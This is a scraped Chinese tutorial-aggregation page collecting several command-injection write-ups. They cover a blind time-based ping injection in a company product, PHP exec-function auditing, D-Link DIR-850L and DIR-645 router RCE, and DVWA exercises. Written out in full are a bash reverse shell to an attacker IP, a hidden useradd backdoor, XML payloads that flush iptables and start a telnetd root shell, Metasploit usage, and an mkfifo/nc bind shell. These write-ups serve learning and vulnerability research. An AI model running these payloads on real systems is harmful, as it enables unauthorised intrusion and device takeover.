精华内容
下载资源
问答
  • 这两天给公司的产品做安全测试,有个比较经典的命令执行漏洞感觉还挺有意思,写出来记录一下 一: 前期判断 看到这里有个网络检测,感觉就有命令执行 的漏洞,抓包就试试看 输入127.0.0.1本地地址,发现能ping通 ...

    前言

    这两天给公司的产品做安全测试,有个比较经典的命令执行漏洞感觉还挺有意思,写出来记录一下

    一: 前期判断

    看到这里有个网络检测,感觉就有命令执行 的漏洞,抓包就试试看
    在这里插入图片描述
    输入127.0.0.1本地地址,发现能ping通
    在这里插入图片描述
    发现如果命令不正确或者ip地址不存在,返回包为false。因此即使存在命令执行的漏洞也无法回显。那这里就考虑用延时判断是不是存在命令执行漏洞

    二:判断是否存在命令执行注入

    其实之前走了很多歪路,这里就不提了。ping命令有个参数,-c 表示icmp要发几个包。这里我们通过 修改-c 的数目,理论上-c的数值越大,那返回的时间越长
    这里遇到第一个问题
    在这里插入图片描述
    添加参数报错,这里空格处通过%20替代,因为http包有url转码,所以%20到服务器端会解析为空格,成功绕过
    -c 1 时,时间59毫秒
    在这里插入图片描述
    -c 2 ,时间为4086毫秒
    在这里插入图片描述
    从这里的话,就知道-c 这个参数已经带入成功,那在尝试拼接命令。拼接命令使用&&,&,|,||等,都试了,感觉不是很合适,因为前面命令一旦执行成功,页面上马上就回显回来,无法通过时间来判断。这里我使用分号;做拼接,分号后面都命令执行完之后,这个包才能判断true or false
    尝试127.0.0.1 -c 1;sleep 1
    这里 -c 参数不要太大,时间久了默认就false,sleep也不宜过大,只要能体现页面回显的时间变化就可以
    t = 4086
    在这里插入图片描述
    127.0.0.1 -c 1;sleep 2
    t = 8069
    在这里插入图片描述
    到这里就很明确,sleep命令已经执行成功,且存在命令执行注入漏洞

    三:通过命令执行注入获取服务器权限

    这里也卡了一段时间,最后解决就很快。想过2个方法获得服务器权限。
    一个的话通过一句话命令新增用户,到时候直接连服务器就可以。
    如新建test:123456用户
    useradd -p `openssl passwd -1 -salt 'salt' 123456` test
    另外一个就是反弹shell
    bash -i >& /dev/tcp/192.168.96.111/4444 0>&1
    但是呢,这两条命令都有特殊符号,特别像&,如果空格可以用%20绕过都话,其他字符在绕过上我还没啥思路,会报请求错误
    在这里插入图片描述
    到这里又卡了一下,难道命令注入找到了,却无法利用,这就有点尴尬了,后来忽然想起来,空格能通过url编码绕过,那整个请求参数值能做一遍url编码不是也可以嘛,试试看
    在这里插入图片描述
    开启监听
    在这里插入图片描述
    将编码后的参数替换,放包,虽然一直卡着,当监听的shell已经回来,成功拿到服务器权限
    在这里插入图片描述
    在这里插入图片描述

    到这里就结束了,关于那第三节,不知道有没有不通过编码的绕过方式,如果有,感谢指教~

    展开全文
  • 【1】可能存在命令执行漏洞的函数: 00x1:常用的命令执行函数:exec、system、shell_exec、passthru 00x2:常用的函数处理函数:call_user_func、call_user_func_array、file_get_contents.....更多函数处理函数...

    【1】可能存在命令执行漏洞的函数:

    00x1:常用的命令执行函数:exec、system、shell_exec、passthru

    00x2:常用的函数处理函数:call_user_func、call_user_func_array、file_get_contents.....更多函数处理函数传递门:http://www.php.net/manual/zh/book.funchand.php

           函数处理函数的使用:<?php $a = "phpinfo()";call_user_func($_GET['id'],$a); ?>访问:127.0.0.1/1.php?assert即可看到效果


    【2】如何预防命令执行漏洞:

    00x1:escapeshellcmd()//该函数过滤的是整条的命令

    00x2:escapeshellarg()//用来保证传入的命令执行函数里面的参数确实是以字符串参数的形式存在的不能被注入!


    实例挖掘一个程序的命令执行漏洞。


    我随便搜索了一个命令执行函数(PS:网站程序是老古董了):

    随笔点开了一个文件,在文件的35行处找到命令执行函数system,两个参数,看看有没有进行过滤。

    从35行很清楚的看到,其使用了一个tex_filter_get_cmd的函数,那么我们找一下这个函数,看下是如何写的。该文件中没有找到定义该函数的,那么必然是被包含了,被包含了两个文件夹,一个是lib.php一个是config.php那么势必是lib.php了,因为config.php是配置文件。

    找到lib.php打开lib.php以后找到这个tex_filter_get_cmd函数,函数内部情况如下所示:

    其实也可以很明显的看到$texexp函数有使用escapeshellarg函数过滤然后赋值给$texexp变量,但是$pathname并没有任何过滤就直接带入44行以及47行执行了。由此导致本次的命令执行漏洞。

    在42行他判断了系统是否为windows如果是windows就执行43到44行的代码。

    44行的$executable变量是由40行的赋值而来的,那么我们再来看看tex_filter_get_executale函数。该函数在这个文件当中。其结构如下所示:

     

    总体的来说就是调用了16行的exe

    那么构造好的EXP就应该是:texed.php?formdata=foo&pathname=foo"+||+ver||+echo+

     

     

    防御:

        使用escapeshellcmd($pathname);过滤掉$filename

      

     

    转载于:https://www.cnblogs.com/xishaonian/p/6502970.html

    展开全文
  • 这次来分析两个比较经典的路由器命令执行漏洞,DIR-850 和 DIR-645 的 RCE,漏洞成因都是由于参数拼接不当造成的。 漏洞分析 根据前一篇文章中的任意文件读取漏洞,在读取到 DEVICE.ACCOUNT 配置文件中的敏感信息...

    前言

    这次来分析两个比较经典的路由器命令执行漏洞,DIR-850 和 DIR-645 的 RCE,漏洞成因都是由于参数拼接不当造成的。

    漏洞分析

    根据前一篇文章中的任意文件读取漏洞,在读取到 DEVICE.ACCOUNT 配置文件中的敏感信息之后,我们就可以进一步利用,达到命令执行的目的,进而 getshell。

    php 源代码

    代码如下:

    image.png-358kB

    这里的 server 变量可控,导致在拼接时,我们可以闭合前面的命令参数,执行任意命令。

    通过前一步的任意文件读取得到 admin 的密码之后,登录上去抓包,将认证过的 cookie 赋值给 uid

    首先先访问 DEVICE.TIME 这个 service ,根据返回包的 xml 文件数据格式来构造命令注入的 payload。

    image.png-246.2kB

    构造 xml 数据:

    <postxml>
    <module>
        <service>DEVICE.TIME</service>
        <device>
            <time>
                <ntp>
                    <enable>1</enable>
                    <period>604800</period>
                    <server>metelesku; (iptables -F;iptables -X;iptables -t nat -F;iptables -t nat -X;iptables -t mangle -F;iptables -t mangle -X;iptables -P INPUT ACCEPT;iptables -P FORWARD ACCEPT;iptables -P OUTPUT ACCEPT; ) &amp; exit;</server>
                </ntp>
                <ntp6>
                    <enable>1</enable>
                    <period>604800</period>
                </ntp6>
                <timezone>61</timezone>
                <time></time>
                <date></date>
                <dst>0</dst>
                <dstmanual></dstmanual>
                <dstoffset></dstoffset>
            </time>
        </device>
    </module>
    </postxml>

    这里的 payload 将目标服务器的 iptables 防火墙关闭,并在 23090 端口开启 telnet 服务

    image.png-246.5kB

    • 这里的变量 $enable$enablev6 都设置为 1,就执行了第一个分支。

    之后,按照这篇文章的思路,为了使得设置加载的服务生效,还要向 pigwidgeon.cgi 发送激活请求。

    image.png-231.3kB

    返回 OK 则表示已经激活成功。

    这时可以再请求一下 DEVICE.TIME 查看结果,发现这里已经成功将 payload 写入 service 变量

    image.png-282.4kB

    漏洞利用

    按照一般思路,拿到了远程 RCE 之后,可以在目标机器上开启 telnetd 服务,进行 shell 的登录。

    开启 telnetd 服务

    telnetdbusybox 程序中集成的一个服务,所以在嵌入式设备中一般都可以进行开启。

    telnetd -p 23090 -l /bin/sh

    在上面的 xml 数据里的括号中,加入上面的代码,就可以在 23090 端口开启一个 telnet 服务,-l 参数表示在登录上 telnet 服务之后就执行 /bin/sh 程序,即反弹一个 busybox 的 shell。

    和上面的流程一样,先后访问 hedwig.cgi 发送 xml 数据和 pigwidgeon.cgi 激活服务之后,就可以在本地尝试连接

    image.png-98.2kB

    图上表明正常获取了目标 busybox 的 shell。

    使用 metasploit 反弹 shell

    在 metasploit 上集成了一个 DIR-850l 的命令执行的 exp,所以这里直接使用工具来 getshell 也是一个方法。

    exploit/linux/http/dlink_dir850l_unauth_exec

    在 exploit-db 上的位置

    这里笔者在 vps (ubuntu 14.04) 上装了一个 msf,安装方法也很简单:

    sudo curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall

    安装好后打开 msf, use exploit 设置好参数就行了。

    image.png-420.8kB

    这样就反弹了一个 busybox 的 shell。

    image.png-338.1kB

    DIR-645 命令执行

    在 dir-645 固件版本 1.02 中的 service.cgi 中存在一处命令注入,可以通过闭合前面的命令,注入恶意数据,达到执行任意命令的效果。

    固件下载地址:

    ftp://ftp2.dlink.com/PRODUCTS/DIR-645/REVA/DIR-645_FIRMWARE_1.02.ZIP

    service.cgi 分析

    同样的,把固件解压后使用 binwalk 提取出文件系统。将 htdocs/cgibin 载入 IDA 中,找到处理 service.cgi 代码逻辑部分,也就是 servicecgi_main 这个函数处。

    image.png-268.3kB

    接下来一步步分析函数的功能,首先使用 getenv 函数获取 http 请求方法,若为 POST 请求,则执行右边的分支。

    使用 cgibin_parse_request 函数解析 content-length 和 content-type 头字段之后,经过 sess_ispoweruser 函数判断用户是否已经登录。

    之后获取 POST 表单字段,若字段名为 EVENT 的话,就将 "event %s > /dev/null" 作为参数执行 lxmldbc_system 函数。

    .text:0040CF58
    .text:0040CF58                 loc_40CF58:
    .text:0040CF58                 lui     $a0, 0x42
    .text:0040CF5C                 jal     sub_40CD50
    .text:0040CF60                 la      $a0, aEvent      # "EVENT"
    .text:0040CF64                 la      $a0, aAction     # "ACTION"
    .text:0040CF6C                 jal     sub_40CD50
    .text:0040CF70                 move    $s2, $v0         # 注意这里的 v0 是 sub_40CD50("EVENT") 的返回值
    .text:0040CF74                 la      $a0, aService    # "SERVICE"
    .text:0040CF7C                 jal     sub_40CD50
    .text:0040CF80                 move    $s0, $v0
    .text:0040CF84                 lw      $gp, 0x130+var_120($sp)
    .text:0040CF88                 beqz    $s2, loc_40CFA4
    .text:0040CF8C                 move    $s1, $v0
    .text:0040CF90                 lui     $a0, 0x42
    .text:0040CF94                 la      $t9, lxmldbc_system
    .text:0040CF98                 la      $a0, aEventSDevNull  # "event %s > /dev/null"
    • 注意 mips 的流水线效应。

    lxmldbc_system 函数中调用了 system 函数,跟进分析一下

    开头先执行了 vsnprintf 函数,格式化字符串到栈上 ($sp+0x428+var_40C)

    vsnprintf($sp+0x428+var_40C,0x400,"event %s > /dev/null",input_arg)

    vsnprintf 函数的解释:

    函数原型:int vsnprintf(char str, size_t size, const char format,va_list ap);
    函数说明:将可变参数格式化输出到一个字符数组
    参数:str输出到的数组,size指定大小,防止越界,format格式化参数,ap可变参数列表函数用法

    这个函数和 snprintf 函数就差了一个可变参数 va_list ,这里分析的话直接忽略就好了。

    接着调用 system 函数,这里的 $s0 = $sp+0x428+var_40C 可以看到这里直接将刚才格式化过的字符串传入 system 作为他的参数。

    .text:004133E4                 la      $t9, system
    .text:004133E8                 nop
    .text:004133EC                 jalr    $t9 ; system
    .text:004133F0                 move    $a0, $s0         # command

    也就是执行了 system("event %s > /dev/null"),显然这里我们可以用分隔符 (;、|、&、%0a) 来截断前面的命令,进行命令注入,达到执行任意命令的效果。

    所以在这里我们只需要提交类似于 EVENT=;uname -a%26 的 POST 数据就行了。

    • 前面的分号换成 | 和 & 都可以正常注入,后面只能为 & 。

    system 函数执行是有回显的,所以这里可以直接在返回包中看到执行的结果。

    • 这里构造 SERVICE 字段也行,只不过需要再加上 ACTION 字段配合使用才行。

    image.png-253.7kB

    总结

    DIR-850L 和 DIR-645 的命令注入漏洞都是由于在拼接参数时没有进行过滤,直接执行 system 函数,因此防御手段就只需要在拼接参数时进行相应的过滤即可。

    参考文章

    https://www.freebuf.com/articles/terminal/164680.html

    转载于:https://www.cnblogs.com/H4lo/p/10996949.html

    展开全文
  • 本文记录 Kali Linux 2018.1 学习使用和渗透测试的详细过程,...1. 命令执行漏洞 采用 DVWA 系统,IP地址:10.10.10.132 Kali Linux 2018.1,IP地址:10.10.10.131 简介应用程序直接调用操作系统命令的功能 2. 测试 Low

    本文记录 Kali Linux 2018.1 学习使用和渗透测试的详细过程,教程为安全牛课堂里的《Kali Linux 渗透测试》课程

    Kali Linux渗透测试(苑房弘)博客记录

    1. 命令执行漏洞
    2. 测试 Low 安全模式
        2-1. 测试手段
        2-2. 服务器源码
    3. 测试 Medium 安全模式
        3-1. 测试手段
        3-2. 服务器源码
    4. 测试 high 安全模式
        4-1. 测试手段
        4-2. 服务器源码
    5. 使服务器打开端口
        5-1. Low 安全模式
    

    1. 命令执行漏洞


    1. 采用 DVWA 系统,IP地址:10.10.10.132
    2. Kali Linux 2018.1,IP地址:10.10.10.131
    3. 简介

      应用程序直接调用操作系统命令的功能

    2. 测试 Low 安全模式


    1. 测试手段

    1. 输入IP地址发现,是执行 ping 测试,发现和 ping 3 次结果一样

    2. 使用符号 “;”、“&”、“&&”、“|”、“||”

      • 使用“;”

      • 使用“&”

      • 使用“&&”

      • 使用“|”

      • 使用“||”

    2. 服务器源码

    # 低安全级别的情况下,服务器未进行任何过滤
     <?php
    if( isset( $_POST[ 'submit' ] ) ) {
        $target = $_REQUEST[ 'ip' ];
        // Determine OS and execute the ping command.
        if (stristr(php_uname('s'), 'Windows NT')) { 
            $cmd = shell_exec( 'ping  ' . $target );
            echo '<pre>'.$cmd.'</pre>';
        } else { 
            $cmd = shell_exec( 'ping  -c 3 ' . $target );
            echo '<pre>'.$cmd.'</pre>';
        }
    }
    ?> 
    

    3. 测试 Medium 安全模式


    1. 测试手段

    1. 输入IP地址发现,是执行 ping 测试,发现和 ping 3 次结果一样

    2. 使用符号 “;”、“&”、“&&”、“|”、“||”

      • 使用“;”

        无结果

      • 使用“&”

      • 使用“&&”

        无结果

      • 使用“|”

      • 使用“||”

    2. 服务器源码

    # 进行了简单的过滤,替换:'&&' => '',';' => '',使其无效。
     <?php
    if( isset( $_POST[ 'submit'] ) ) {
        $target = $_REQUEST[ 'ip' ];
        // Remove any of the charactars in the array (blacklist).
    
        $substitutions = array(
            '&&' => '',
            ';' => '',
        );
    
        $target = str_replace( array_keys( $substitutions ), $substitutions, $target );
        // Determine OS and execute the ping command.
        if (stristr(php_uname('s'), 'Windows NT')) { 
            $cmd = shell_exec( 'ping  ' . $target );
            echo '<pre>'.$cmd.'</pre>';
        } else { 
            $cmd = shell_exec( 'ping  -c 3 ' . $target );
            echo '<pre>'.$cmd.'</pre>';
        }
    }
    ?> 
    

    4. 测试 high 安全模式


    1. 测试手段

    1. 输入IP地址发现,是执行 ping 测试,发现和 ping 3 次结果一样

    2. 使用符号 “;”、“&”、“&&”、“|”、“||”.

      • 使用“;”

      • 使用“&”

        同上

      • 使用“&&”

        同上

      • 使用“|”

        同上

      • 使用“||”

        同上

    2. 服务器源码

    #进行严格的过滤,不再存在命令执行漏洞
    Command Execution Source
    <?php
    if( isset( $_POST[ 'submit' ] ) ) {
        $target = $_REQUEST["ip"];
        $target = stripslashes( $target );
        // Split the IP into 4 octects
        $octet = explode(".", $target);
    
        // Check IF each octet is an integer
        if ((is_numeric($octet[0])) && (is_numeric($octet[1])) && (is_numeric($octet[2])) && (is_numeric($octet[3])) && (sizeof($octet) == 4)  ) {
    
        // If all 4 octets are int's put the IP back together.
        $target = $octet[0].'.'.$octet[1].'.'.$octet[2].'.'.$octet[3];
            // Determine OS and execute the ping command.
            if (stristr(php_uname('s'), 'Windows NT')) { 
                $cmd = shell_exec( 'ping  ' . $target );
                echo '<pre>'.$cmd.'</pre>';
            } else { 
                $cmd = shell_exec( 'ping  -c 3 ' . $target );
                echo '<pre>'.$cmd.'</pre>';
            }
        }
        else {
            echo '<pre>ERROR: You have entered an invalid IP</pre>';
        }
    }
    ?>
    

    5. 使服务器打开端口


    1. Low 安全模式

    1. 打开监听端口

      ;mkfifo /tmp/pipe;sh /tmp/pipe | nc -nlp 4444 > /tmp/pipe
      

    2. 使用 kali 连接

    3. 弊端

      使用 nc 会被管理员发现打开了额外的端口

    展开全文
  • JSP命令执行漏洞 一、代码执行成因调用Runtime但是没有对传入参数没有过滤和限制:jsp调用命令行的只需要在<%%> 中编写使用Runtime类即可调用命令行Windows 用“&”,linux用“;”号来分隔多条命令'cmd....
  • 通用的命令执行漏洞防御方法通常是使用两个函数:EscapeShellCmd和EscapeShellArg,下面分别来分析这两个函数。EscapeShellCmd()函数可以把一个字符串中所有可能瞒过Shell而去执行另外一个命令的字符转义,比如管道...
  • 介绍这篇文章将从一个Apache tika服务器的命令注入漏洞到完全利用的步骤。...虽然命令注入漏洞通常很简单,但要实现完整的远程代码或命令执行需要克服一些障碍。这是由于Java处理执行操作系统命令的方式...
  • 命令执行漏洞

    2019-02-18 21:30:09
    https://www.freebuf.com/column/154670.html ...1、漏洞挖掘原则: 所有变量:所有变量/提交的数据都要尝试 所有头:cookie的变量 逐个变量删除:筛选出服务器对哪些变量进行处理 2、漏洞的本质: 数...
  • 文章目录命令执行挖掘思路命令执行与代码执行的区别命令执行的类型常见危险函数...2、命令执行漏洞可能造成的原因是Web服务器对用户输入命令安全检测不足,导致恶意代码被执行 3、更常见的命令执行漏洞是发生在各种We
  • 命令执行漏洞:通过易受攻击的应用程序在主机操作系统上执行任意命令,用户提供的数据(表单,cookie,http头等)未过滤挖掘思路:用户能够控制函数输入,存在可执行代码的危险函数命令执行和代码执行的区别:命令执行...
  • 手动漏洞挖掘 身份认证 1、常用弱口令/基于字典的密码爆破 2、锁定机制 手工猜测,若无锁定机制,则进行爆破 3、信息收集【分站上信息收集,猜测账号密码,如:用户光荣榜等。】 手机号:对于隐藏部分的...
  • 挖掘执行命令漏洞 常见执行命令函数 system()、passthru()、popen()、exec()等函数 搜索 exec,system,popen,passthru,proc_open,shell_...如何防止命令执行漏洞 escapeshellarg、escapeshellcmd 课后了解 ...
  • NetGear_DGN2200 命令执行漏洞(CVE-2017-6077) 前言 最近学习路由器漏洞挖掘,于是先从复现现有漏洞开始,一步一步来,了解漏洞产生的原理,熟悉路由器漏洞的一些套路,挖掘点。 漏洞简述 NETGEARDGN2200是美国网件...
  • 实践对象moodle-1.9.3 ...挖掘执行命令漏洞 常见执行命令函数 system()、passthru()、popen()、exec()等函数 搜索 exec,system,popen,passthru,proc_open,shell_exec 执行命令管道符%、|、> 测试 htt...
  • 我的一个好朋友和我说,他在淘宝挖到fastjson命令执行,获得了一万奖金。我虽然是个学渣,也不太懂java,但起码以后碰到了,要知道这个玩意,并且要知道这个玩意如何挖掘。话不多说,开始复现之路。 环境 攻击机ip ...
  • *本文中涉及到的相关漏洞已报送厂商并得到修复,本文...今天叫兄弟们一起挖掘QCMS的漏洞,与大家分享挖洞的全过程。把源码down下来,本地先搭建了一个环境。各种扫描,各种fuzzer,各种模糊测试之后发现apache错误日...
  • 经过之前几篇的漏洞挖掘练习,对于普通linux内核与VxWorks内核的固件漏洞进行了分析,这次来分析一下被加密过的固件漏洞。 以D-Link DIR878为例,此路由器的固件从1.04版之后开始对之后的版本固件进行加密,而解密...
  • 命令执行/代码注入漏洞概述 命令执行/代码注入漏洞分类介绍 命令执行/代码注入漏洞挖掘方法 命令执行/代码注入漏洞攻击防御 总结;命令执行/代码注入漏洞概述;命令执行/代码注入漏洞概述;命令执行/代码注入漏洞分类...
  • 一、基本信息参考:...二、漏洞挖掘过程这是我第一次接触运维堡垒机,通过堡垒机登录目标服务器/应用,就像在本地直接打开一样,觉得很神奇。1、挖掘过程首先,在安装齐治运维堡垒机客户端软件ShtermClie...
  • 一、基本信息 ... 补丁信息:该漏洞的修复补丁已于...二、漏洞挖掘过程 这是我第一次接触运维堡垒机,通过堡垒机登录目标服务器/应用,就像在本地直接打开一样,觉得很神奇。 1、挖掘过程 首先,在安装齐治运维堡...
  • 如何入门漏洞挖掘,以及提高自己的挖掘能力

    万次阅读 多人点赞 2018-07-17 16:57:52
    0x01:前言  大家好我是米斯特团队的一员,我的id香瓜,我们团队在这次i春秋第二次漏洞挖掘大赛中,包揽了前五名,我key表哥一不小心拿了一个第一,导致很多...一些像sql注入,文件上传,命令执行这些漏洞也不是那...
  • 虫洞漏洞挖掘研究

    2018-04-10 20:09:00
    Android应用可能会使用sockets(TCP、UDP、UNIX)在应用间或者自身应用组件间进行通信,然而这种通信...一旦端口访问身份验证不严,就有可能产生漏洞,造成远程命令执行漏洞挖掘方法 1、查看应用端口开放情况 ...
  • 漏洞挖掘原则 所有变量所有头 cookie中的变量逐个变量删除筛选 身份认证 弱口令/基于字典的爆破 密码嗅探 sessionIDxss 嗅探sessionID长期不变通过算法预测sessionID phpmyadmin远程命令执行低版本的php存在...
  • 挖洞姿势:浅析命令注入漏洞

    千次阅读 2017-07-13 19:00:59
    命令执行只是针对系统命令,而远程代码执行针对的是编程代码,两者互不能替换。下面让我来通过实例向大家演示如何挖掘及利用它。 配置 我们首先编写两个简单的用于在本地测试的Ruby脚本,当前

空空如也

空空如也

1 2 3 4 5 6
收藏数 102
精华内容 40
关键字:

命令执行漏洞挖掘